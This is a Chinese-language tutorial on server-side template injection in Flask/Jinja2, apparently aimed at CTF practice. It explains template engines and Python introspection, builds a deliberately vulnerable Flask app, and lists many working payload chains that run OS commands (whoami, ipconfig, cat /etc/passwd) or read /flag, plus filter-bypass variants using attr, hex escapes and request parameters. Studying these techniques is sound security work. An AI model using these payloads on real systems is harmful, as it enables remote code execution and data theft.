SSTI
一、SSTI漏洞
1、漏洞概念
SSTI(server-side template injection)为服务端模板注入攻击,它主要是由于框架的不规范使用而导致的。
主要为:python的一些框架,如 jinja2 mako tornado django flask( flask默认使用 Jinja2 )、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入
模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑。
各框架模板结构如下图所示:

为什么要在模板注入前面加服务端,是为了和jQuery,KnockoutJS 产生的客户端模板注入区别开来。前者可以让攻击者执行任意代码,而后者只能 XSS。
2、模板引擎
概念
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。 其不属于特定技术领域,它是跨领域跨平台的概念。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm开发都会用到模板引擎技术。模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
识别方法
我们该如何判断模板引擎的类型呢?
简要来说依靠这张图即可:

| Temple | $ | {{7*7}} | a{comment}b | ${"z".join{"ab"}} | {{7*'7'}} |
|---|---|---|---|---|---|
| Smarty | √ | × | √ | ||
| Make | √ | × | √ | ||
| Jinjia2 | × | √ | √(7777777) | ||
| Twig | × | √ | √(49) | ||
| Unknown | √ | √ |
3、基础知识
模版本质
模版本质上一个函数的调用,我们传入希望打印的参数,模版函数接收参数并做一些操作。就像函数只能使用传入的参数一样,模版无法调用没有传入的变量、对象、函数等。这种设计保证了模板的简洁性、可维护性以及安全性。
模版格式
PHP
Twig模板变量:{{%s}}
Smarty模板变量:{%s}
Blade模板变量:{{%s}}
Python
Jinja2模板变量:{{%s}}
Tornado模板变量:{{%s}}
Django模板变量:{{ }}
{% ... %} 表示控制结构语句
Java
FreeMarker模板变量:<#%s>``${%s}
Velocity模板变量:#set($x=1+1)${x}
模版访问类
有些模板引擎提供了一些内置类和方法,可以在模板中使用。
假设我们使用的是Jinja2模板引擎,并且有一个自定义的User类,包含name和age属性。我们可以在模板中创建一个User对象,并访问其属性。
from jinja2 import Template
class User:
def __init__(self, name, age):
self.name = name
self.age = age
template_string = '''
Name: {{ user.name }}
Age: {{ user.age }}
'''
template = Template(template_string)
user = User('Alice', 25)
rendered_output = template.render(user=user)
print(rendered_output)
在上面的例子中,我们在模板中创建了一个user对象,并通过{{ user.name }}和{{ user.age }}的方式在模板中访问了该对象的属性。
最终输出的结果是:
Name: Alice
Age: 25
魔术对象
什么是魔术对象?
在 Python 中,"魔术对象"通常指的是拥有特殊方法(以双下划线开头和结尾的方法)的对象。这些特殊方法可以让对象自定义其行为,从而实现自定义操作和功能。
魔术对象都有哪些?
name: 它用来表示当前模块的名字
(当 Python 文件直接被执行时,name 的值是 'main'。这表示这个文件是作为主程序执行的,如果一个 Python 文件被作为模块导入到另一个文件中,那么 name 的值将是模块的名字。)
base:类型对象的直接基类。(<class 'object'>)
bases:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。
mro:一个由类组成的元组,在方法解析期间用于查找基类。
subclasses():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。
init:初始化类的构造函数,返回类型为function的方法。
dict:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。
getattribute():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。(例如:"".__getattribute__('__class__'))
getitem():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。
builtins:内建名称空间,包含一些常用的内建函数(其实就是python的内置函数,例如:__builtins__.print)。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。
import:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。
str():返回描述该对象的字符串,通常用于打印输出。
内置类属性class
__class__:表示实例对象所属的类。

内置类属性init
通过类的init可以访问类的构造函数,再通过构造函数访问globals获得当前全局命名空间下的所有内容
class myclass:
def __init__(self):
pass
print(myclass.__init__.__globals__)
# 输出
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000018672D25510>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\tool\\PyCharm Community Edition 2023.3.3\\pythoncode\\pythonProject\\python漏洞\\ssti\\init.py', '__cached__': None, 'myclass': <class '__main__.myclass'>}
全局属性globals
__globals__ :它是每个函数对象的一个字典,包含了该函数定义时可访问的全局变量。通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。
def my_function():
pass
var = 100
print(my_function.__globals__)
输出:
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001CF8ACE5110>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\tool\\PyCharm Community Edition 2023.3.3\\pythoncode\\pythonProject\\python漏洞\\sanic原型链.py', '__cached__': None, 'my_function': <function my_function at 0x000001CF8AC904A0>, 'var': 100}
名称属性
__qualname__ :这个属性通常用于获取类或函数在其所在作用域中的完整名称
class MyClass:
def my_method(self):
print("Hello")
print(MyClass.__qualname__) # Output: MyClass
print(MyClass.my_method.__qualname__) # Output: MyClass.my_method
其他
url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。
get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。
lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。
current_app:应用上下文的全局变量。
request:用于获取绕过字符串的参数,包括以下内容:
- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。
config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。
g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。
构造ssti链
①随便找一个内置类对象用class拿到它所对应的类
②用bases拿到基类(<class 'object'>)
③用subclasses()拿到子类列表
④在子类列表中直接寻找可以利用的类getshell
综上,基本思路为:
对象→类→基本类→子类→(init方法→globals属性→builtins属性)→读取文件的类 (()内的步骤有些时候不需要用到)
总结:获取__globals__属性是关键,我们可以从中找到一些危险的函数进行rce
通过脚本找到含有os模块的类
num = 0
for item in ''.__class__.__base__.__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print(num, item)
num += 1
except:
num += 1
#152 <class '_distutils_hack._TrivialRe'>
#200 <class 'contextlib._GeneratorContextManagerBase'>
# 构造ssti链
# [].__class__.__base__.__subclasses__()[152/200].__init__.__globals__['os'].popen('xxx').read()
动态语句注入
(以python模版为例)
首先找到子类中的catch_warnings类,然后在全局变量中调用os模块遍历根目录(如果过滤了关键字import或者os可以用加号拼接绕过)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
同样,找到全局变量(__builtins__ 是一个模块,它包含了 Python 语言的所有内建函数和对象),调用open函数读取flag
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag','r').read()}}{% endif %}{% endfor %}
同理:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
二、Flask模块注入
在python flask模块中,默认使用的模板引擎是jinja2,相关资料Jinja2
概念
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易,但是模板引擎也拓宽了我们的攻击面,注入到模板中的代码可能会引发RCE或者XSS。
在Jinja2(“Jinja2 是一个现代的,设计者友好的,仿照 Django 模板的 Python 模板语言”)模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
- 名词解释:
- 1.Flask是一个轻量级的Web应用框架,主要用于使用Python语言构建Web应用程序和API
-
- Fask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。
- Flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。
- 在使用flask/jinja2 的模板渲染函数 render_template_string 的同时,使用%s 来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析。
-
- 2.模板文件:不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。
- 3.SSTI:服务端模板注入,注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑。
模版语法
{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
以flask的jinja2引擎为例,官方的模板语法如下:
{% ... %} 用于声明,比如在使用for控制语句或者if语句时
{{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '1+1' 这个表达式
{# ... #}用于模板注释
# ... ##用于行语句,就是对语法的简化
#...#可以有和{%%}相同的效果
1、搭建SSTI测试环境
编写一个模版引擎测试,引入flask的render_template模块,也就是模版引擎:
新建flaks_test.py
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/',methods=['GET'])
def hello_name():
req = request.args.get('name') # 获取get传参 name
return render_template('index.html',name=req) # 将GET传参name传递给模板引擎
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True) # 开启调试模式,指定web端口为 5000
根据jinjia2的使用规则,默认是我们需要在python代码的同级目录下创建一个名为templates目录,并且在其中编写HTML文件来作为渲染要用到的模板:
设置templates/index.html的内容为:
<!DOCTYPE html>
<html>
<head>
<title>SSTI TEST</title>
</head>
<body>
<h1>Hello, {{name}}</h1> <!--接收来自模版引擎的name参数-->
</body>
</html>
访问 http://192.168.59.252:5000 传入get参数name=zwh

传入get参数name={{7*7}}

可以看到并没有得到我们想要的49,说明此时还不具有SSTI漏洞,那么何种情况下会产生漏洞呢?
修改flask_test.py,改为:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/',methods=['GET'])
def hello_name():
req = request.args.get('name') # 获取get传参 name
html = ''' <html> <head> <title>SSTI TEST</title> </head> <body> <h1>Hello, %s </h1> </body> </html>'''%(req) # %s是占位符
return render_template_string(html) # 从字符串中获取模板并渲染
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True) # 开启调试模式,指定web端口为 5000
此时再传参{{7*7}},成功解析得到49,而SSTI漏洞也就此产生了

2、漏洞原理分析
对比两次的代码,发现前者使用了rander_template() 渲染,而后者使用的是rander_template_string()渲染,其实区别就是一个用了index.html文件里内容作为模版,一个把自定义的html字符串作为了模版。但是关键不是函数,而是嵌入的方式。
问题产生的关键就在于,变量传过来之后,是以占位符 (%s) 的形式直接嵌入 还是以传参的方式(req=req)嵌入,如果是以占位符的形式嵌入,此时用户的输入将直接作为模板的一部分,那么模板引擎执行{{}}中的表达式(即代码)然后将执行结果嵌入HTML并返回,如果是以传参的形式嵌入,那么模板引擎则将变量的内容当做普通字符串(并且会对一些字符串进行转义处理,例如</>)返回。
如果我把html字符串里的占位符嵌入,改成 用模版req=xxx的形式传参,那么就不再有ssti漏洞了
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/',methods=['GET'])
def hello_name():
req = request.args.get('name') # 获取get传参 name
html = ''' <html> <head> <title>SSTI TEST</title> </head> <body> <h1>Hello, {{req}} </h1> </body> </html>'''
print(req)
return render_template_string(html,req=req) # 从字符串中获取模板并渲染
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True) # 开启调试模式,指定web端口为 5000
rander_template() 函数由于只能传参嵌入,所以不具有漏洞,但是使用rander_template_string()就可能会产生ssti漏洞
3、内置函数
Flask 框架有一些内置函数,使得在模板中构建更为灵活
url_for对象
url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接
from flask import Flask, url_for
app = Flask(__name__)
@app.route('/')
def index():
return 'Index Page'
@app.route('/user/<username>')
def profile(username):
return f'User {username}'
@app.route('/redirect')
def redirect_to_profile():
url = url_for('profile', username='john_doe')
return f'Redirecting to: {url}' # Redirecting to: /user/john_doe
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
get_flashed_messages
这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉
from flask import Flask, flash, get_flashed_messages, redirect, url_for
app = Flask(__name__)
app.secret_key = 'secret_key'
@app.route('/flash')
def flash_message():
flash('This is a flash message!')
return redirect(url_for('show_messages'))
@app.route('/show')
def show_messages():
messages = get_flashed_messages()
return '<br>'.join(messages)
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
current_app对象
current_app, 是 Flask 提供的一个上下文变量,用于获取当前正在处理的 Flask 应用实例。current_app 仅在请求上下文中有效,因此在没有请求的情况下使用它会引发错误。
请求上下文 是 Flask 中的一个重要概念,它在每次 HTTP 请求时创建,并提供与请求相关的全局变量(如
request、current_app和session)
request对象包含有关当前请求的所有信息,如请求的方法(GET、POST等)、请求路径、表单数据、查询参数、请求头等。例如,可以通过request.method获取请求方法,通过request.args获取查询参数。current_app是 Flask 提供的一个全局变量,用于访问当前正在处理请求的应用实例。例如:通过过current_app.config可以访问应用的配置信息。session对象用于存储与当前用户会话相关的数据。Flask 使用 cookies 存储会话信息,可以在多个请求之间保持用户状态。例如,您可以通过session['key']来存储和获取用户特定的信息。 请求上下文的作用是提供一种在处理请求的过程中方便访问相关信息的方式。它在请求开始时创建,在请求结束时销毁。这意味着您可以在 Flask 视图函数或中间件中使用这些上下文变量,而不必显式地将它们作为参数传递。
没有请求上下文情况下的错误用法:
from flask import Flask, current_app
app = Flask(__name__)
print(f"当前应用的名称: {current_app.name}");
#在执行 print(f"当前应用的名称: {current_app.name}") 时,由于此时没有请求上下文,Flask 将抛出一个 RuntimeError,提示 Working outside of request context.。
print(f"当前应用的名称: {app.name}") #如果您想在没有请求上下文的情况下获取应用的名称,您可以直接使用应用实例本身
使用视图函数触发请求上下文的正确用法:
输出应用名
from flask import Flask, current_app
app = Flask(__name__)
@app.route('/')
def index():
return f"当前应用的名称: {current_app.name}"
写入日志
如果没有配置将日志写入文件,那么执行 current_app.logger.info('hack') 只会在控制台输出日志信息
from flask import Flask, current_app
import logging
import os
# 创建 log 目录(如果不存在)
if not os.path.exists('./log'):
os.makedirs('./log')
# 配置日志
logging.basicConfig(
filename='./log/mylog.txt', # 日志文件路径
level=logging.INFO, # 设置日志级别
format='%(asctime)s - %(levelname)s - %(message)s' # 日志格式
)
app = Flask(__name__)
@app.route('/')
def index():
return f"我的日志: {current_app.logger.info('hack')}"
获取current_app
我们知道模版本质是函数,而函数只能访问传入的参数,current_app一般情况是不会传入模版函数的,所以,想要访问current_app只能通过Flask的全局作用域。
比如:
url_for.__globals__['current_app'].name
url_for.__globals__['current_app'].config
request对象
介绍
在 Flask 中,request 是一个非常重要的对象,它代表了客户端(如浏览器)向服务器发送的 HTTP 请求。Flask 提供了一些内置的请求方法来帮助你在视图函数中获取和处理请求数据。request 对象是由 Flask 自动生成并且可以在你的视图函数中直接访问。
Flask 中的 request 对象来自于 flask 模块,需要导入
from flask import Flask, request
request的属性和方法
-
request.method-
获取当前请求的方法(如
GET,POST,PUT,DELETE等)。 -
用法:
request.method
-
-
request.args-
获取查询字符串参数(
GET请求时)。它返回一个MultiDict,可以通过键来访问参数值。 -
用法:
request.args['GET_param'] # 获取查询字符串中的参数 -
示例: 假设 URL 为
http://example.com/?page=1&sort=ascpage = request.args['page'] # '1' sort = request.args['sort'] # 'asc'
-
-
request.form-
获取表单数据(
POST请求时)。它也是一个MultiDict,可以通过键来访问表单字段值。 -
用法:
request.form['key_name'] -
示例:
username = request.form['username'] # 获取表单中的用户名
-
-
request.json-
获取 JSON 格式的请求体(通常用于
POST请求)。如果请求内容类型是application/json,则可以使用request.json获取请求体中的 JSON 数据,它会自动将 JSON 解析为 Python 字典。 -
用法:
data = request.json # 如果请求体是 JSON 格式 -
示例: 假设客户端发送 JSON 数据
{ "name": "John", "age": 30 }则:
data = request.json name = data['name'] # 'John' age = data['age'] # 30
-
-
request.files-
用于获取文件上传数据。通过
request.files可以访问上传的文件对象,这些文件对象是FileStorage类型,提供了如filename,read(),save()等方法。 -
用法:
uploaded_file = request.files['file'] # 获取上传的文件 -
示例:
uploaded_file = request.files['file'] uploaded_file.save('path/to/save/file')
-
-
request.cookies-
用于获取请求中的 cookies。它返回一个字典,其中包含客户端发送的所有 cookies。
-
用法:
cookie_value = request.cookies.get('cookie_name') # 获取特定的 cookie
-
-
request.headers-
用于获取请求头。它是一个字典样式的对象,可以通过
request.headers获取请求头中的所有信息。 -
用法:
user_agent = request.headers.get('User-Agent') # 获取 User-Agent 请求头
-
-
request.url-
获取当前请求的完整 URL(包括协议、域名、路径和查询参数等)。
-
用法:
full_url = request.url # 获取完整的请求 URL
-
-
request.remote_addr-
获取客户端的 IP 地址。它通常用于记录日志或检测访问者的来源。
-
用法:
client_ip = request.remote_addr # 获取客户端 IP 地址
-
-
request.get_data()-
获取原始的请求数据。它返回请求体中的原始字节数据,可以用来处理非表单数据或非 JSON 请求体。
-
用法:
raw_data = request.get_data() # 获取请求体中的原始数据
-
-
request.host-
获取请求的主机部分(包括域名和端口)。
-
用法:
host = request.host # 获取请求的主机部分,如 'localhost:5000'
-
config对象
基础用法
Flask 中,config 对象用于存储和访问应用程序的配置设置。Flask 模板(Jinja2)本身并不直接与 config 配置相关联,但是可以通过 config 配置文件来影响 Flask 应用的行为,或者影响模板渲染时的参数。config 的配置选项通常是通过 app.config 对象来设置。
config 对象是 Flask 应用实例的一部分,因此你不需要单独导入它。在模板中,你可以直接通过 config 访问应用的配置信息。
在视图函数中,你可以通过 app.config 来设置应用的配置项。例如:
from flask import Flask, render_template
app = Flask(__name__)
app.config['DEBUG'] = True # 设置配置项
app.config['SECRET_KEY'] = 'your-secret-key'
@app.route('/')
def index():
return render_template('index.html')
在 Flask 的模板中(使用 Jinja2 模板引擎),config 对象会自动传递到模板里。因此你可以直接访问应用的配置信息。例如:
<!-- templates/index.html -->
<h1>Flask Config Example</h1>
<p>Debug mode: {{ config['DEBUG'] }}</p>
<p>Secret Key: {{ config['SECRET_KEY'] }}</p>
方法
Flask 的 config 对象实际上是一个字典(dict)类型的对象,用于存储和访问 Flask 应用的配置项。config 对象提供了多种方法来设置、获取和管理配置项,常用的方法和属性如下:
config.key_name # 直接查看对应的变量值,如config.secret_key
config.keys() #返回 config 中所有配置项的键
config.values() #返回 config 中所有配置项的值。
config.items() # 返回 config 中所有配置项的键值对,通常是一个可迭代的元组。
config.get('key',[默认值]) #获取配置项的值。如果配置项不存在,可以返回一个默认值。
config.pop('key') #从 config 中删除指定的配置项并返回其值。如果该配置项不存在,会抛出 KeyError。
config.setdefault('key',值) # 如果配置项不存在,就为其设置一个值。如果该配置项已经存在,则不会覆盖其值。
config.clear() #清空 config 中的所有配置项。
Flask 的 config 对象是基于字典实现的,因此它同样支持 Python 字典(dict)的标准方法,如:
config.update()
#update() 方法可以接收一个字典或一个键值对列表(key, value)作为参数(也可以是key=value这样的赋值)
#如果指定的配置项已存在,则会更新其值;如果配置项不存在,则会添加一个新的项。
#也可以将一个字典作为参数传入 update() 方法,这样它会用字典的内容来更新 Flask 配置。
app.config.update(
DEBUG=True,
SECRET_KEY='newsecretkey',
DATABASE_URI='sqlite:///newdb.db'
)
4、常用过滤器
过滤器介绍
对于过滤器,这里简单理解就是:一些可以调用的内置方法(或者所函数),可以用于实现一些功能,比如reverse(),反转字符串,并且传参方式和使用语法上有所差异。
----------------------------------------------------------------------------【jinja2过滤器教程】
过滤器语法格式:
{{ content | fitter }}
用法举例:
Jinja2 带有许多有用的过滤器,以capitalize(作用是将参数的首字母大写)为例:
from flask import *
app = Flask(__name__)
@app.route("/")
def index():
return render_template_string("<h1>First name: {{ name | capitalize }}</h1>",name="zwh")
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
链接过滤器
我们可以将过滤器链接在一起。这意味着可以一次使用多个过滤器,每个过滤器用管道分隔|
Jinja 从左到右应用链式过滤器。来自最左边过滤器的值被送入下一个过滤器,并重复该过程直到没有更多过滤器。只有最终结果才会出现在渲染模板中。
# 模版
{{ scraped_acl | first | trim }}
# 数据
scraped_acl=[" 10 permit ip 10.0.0.0/24 10.1.0.0/24"," 20 deny ip any any"]
# 结果
10 permit ip 10.0.0.0/24 10.1.0.0/24
解析:
我们传递了包含两个要first过滤的项目的列表。这从列表中返回了第一个元素,并将其交给trim过滤器删除了前导空格。
最终结果是 line 10 permit ip 10.0.0.0/24 10.1.0.0/24。
常用过滤器
所有 Jinja2 过滤器都在官方文档中有详细记录,下面介绍一下jinja2常用的过滤器,以及使用方法的例子
1.join过滤器
{{ test_list | join(" ") }} # 和python里的join内置函数类似,给定一个链接参数,这里以空格为例
代码例子:
render_template_string("<h1>food: {{ food_list | join('|') }}</h1>",food_list=["apple","rice","noodle"])
# food: apple|rice|noodle
render_template_string("<h1>number: {{ num | join('|') }}</h1>",num="123456789")
# number: 1|2|3|4|5|6|7|8|9
2.select过滤器
select()- 接受一个测试函数,该函数用来检查每个元素是否符合条件。select 会返回一个新列表,包含所有通过测试的元素。
{{ iterable | select(expression) }}
#iterable 是可迭代对象,如字典、列表
#expression 是一个表达式,表达式可以是函数
代码例子:
{% set numbers = [1,5,8,3,10,7] %}
{% for number in numbers | select('lambda x: x > 5') %}
{{ number }} # 输出select过滤后的number值
{% endfor %}
3.attr过滤器
在 Jinja2 中,attr 过滤器用于动态访问对象的属性。这个过滤器允许你在模板中根据字符串名称获取对象的属性,而不需要硬编码属性名。这对于处理动态属性名特别有用。
{{ object | attr('attribute_name') }}
假设你有一个用户对象,其中包含多个属性,你可以使用 attr 过滤器动态地访问这些属性。
代码例子:
{% set user = {
'name': 'Alice',
'age': 30,
'email': 'alice@example.com'
} %}
<p>Name: {{ user | attr('name') }}</p>
<p>Age: {{ user | attr('age') }}</p>
<p>Email: {{ user | attr('email') }}</p>
4.format过滤器
这个过滤器允许你将变量插入到字符串中的占位符位置
#简单的占位作用
{{ "Name: {}, Age: {}".format(user_name, user_age) }}
#指定数字格式
{{ "{:.2f}".format(3.14159) }}
其他过滤器
abs()
返回参数的绝对值。
first()
返回序列的第一项。
last()
返回一个序列的最后一个元素;
float()
将值转换为浮点数。如果转换不起作用将返回 0.0。
int()
将值转换为整数。如果转换不起作用将返回 0。
items()
返回一个迭代器(key, value)映射项。
reverse()
字符串反转;
escape()或e
转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
batch(n)
它返回一个列表,其中包含给定的项目数量。如:'123456789'|batch(3) #['1', '2', '3'],['4', '5', '6'],['7', '8', '9']
5、构造思路
常规思路
使用flask内置函数,其内置函数可以通过下面代码查看
{{self.__dict__._TemplateReference_context}}
# 存在漏洞的函数如下
lipsum、url_for、get_flashed_messages
# 存在漏洞的类如下
cycler,joiner、namesapce、config、request、session
# 函数利用方式如下
lipsum.__globals__['os'].popen('ls').read()
# 类利用方式如下
cycler.__init__.__globals__['os'].popen('ls').read()
使用__import__函数手动导入了os类
''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__import__']('os').popen('whoami').read()
直接调用popen函数,_wrap_close类里面有popen函数
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
#或者system函数
''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['os'].system('dir')
调用builtins类下的多个函数,比如eval和__import__(推荐:这里可以用的类比较多,使用方法2的代码进行查询)
#eval
''.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#import
''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('dir').read()
6、黑名单绕过方法
出题人会设置不同的black_list来限制输入,我们传入的参数会被Filter过滤掉黑名单里的内容,下面是一个模拟过滤情况
from flask import Flask, render_template_string, request
import re, os
black_list = [".","{{","}}"] # 黑名单
def Filter(string: str):
if re.search("|".join(map(re.escape, black_list)), string, re.I):
return 1
return 0
app = Flask(__name__)
@app.route("/")
def index():
req = request.args.get("name")
html = """
<!DOCTYPE html>
<html lang="en">
<head>
<title>SSTI_TEST</title>
</head>
<body>
{%% if req %%}
{%% if req == 1 %%}
<h3>NONONO</h3>
{%% else %%}
<h3>hello, %s</h3>
{%% endif %%}
{%% endif %%}
</body>
</html>""" % (req)
return render_template_string(html, req=(Filter(str(req)) if Filter(str(req)) else req))
# 单行条件语法(true_value if condition else false_value) ,条件成立则返回true_value,否则返回false_value
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
绕过点
[] 代替 .
{{"".__class__}}
=> {{""['__class__']}}
{{"".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('ipconfig').read()}}
=> {{""['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('ipconfig')['read']()}}
{{url_for['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('ipconfig')['read']()}}
attr过滤器调用绕过
#attr() 过滤器,用于获取某对象的属性
{{"".__class__}}
=> {{""|attr('__class__')}}
{{""|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('ipconfig')|attr('read')()}}
# __getitem__() 内置方法:用于获取列表、字典、元组等对象的属性值
绕过下划线
补充知识:
在 Jinja2 模板中,~ 是用作字符串连接的操作符。与 Python 不同,Jinja2 设计中使用 ~ 来代替加号 + 进行字符串拼接。这是为了保持模板引擎的语法一致性和简洁性。
这里我们考虑的是过滤了单下划线
思路一:从字符串中截取下划线(函数名和地址表示中通常有下划线)
# <generator object select_or_reject at 0x000001D209255190>
{% set a = (()|select)%}{%print a%}
# 将<generator object select_or_reject at 0x000001D20A1D8120> 转换成字符串
{% set a = (()|select|string)%}{%print a%}
# 将字符串转换成列表
{% set a=()|select|string|list %}{% print(a) %}
# 获取`_`字符,hello, _
{% set a=(()|select|string|list)[24] %}{% print(a) %}
# 基于.过滤的情况下, 改造payload执行ipconfig
{% set a=(()|select|string|list)[24] %}
{%set b=(""|attr(a~a~'class'~a~a)|attr(a~a~'base'~a~a)|attr(a~a~'subclasses'~a~a)()|attr(a~a~'getitem'~a~a)(139)|attr(a~a~'init'~a~a)|attr(a~a~'globals'~a~a)|attr(a~a~'getitem'~a~a)('popen')('ipconfig')|attr('read')())%}{%print(b)%}
#类似方法:
{%set hd=lipsum|escape|batch(22)|first|last%}{%print hd%}
思路二:使用request方法
#GET提交:
cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__
#POST提交:
code={{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(lequest.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen'('cat /etc/passwd')attr('read')()
}}
如果过滤的是双下划线可以直接用字符拼接的方式绕过
{% set a='_'~'_' %}
{% set b=(()|attr(a~'class'~a)) %}
{% print(b) %}
绕过大括号
双大括号{{加入黑名单
{{...}}是jinja2表示变量的语法,我们可以用表示结构的语法{% ... %}进行绕过,在{% ... %}中我们可以定义变量,使用条 件语句,循环语句等
#使用set定义变量,再用print打印
{% set a=(""|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(139)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen')('ipconfig')|attr('read')())%}
{% print(a) %}
#可以用for循环 + if判断
{%for i in (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')())%}{%if (i|attr('\x5f\x5fname\x5f\x5f')) == '\x5fwrap\x5fclose'%}
{%print (i|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen')('ipconfig')|attr('read')())%}
{%endif%}
{%endfor%}
如果过滤了单个大括号怎么办?只依靠ssti漏洞的绕过方法就不太行了
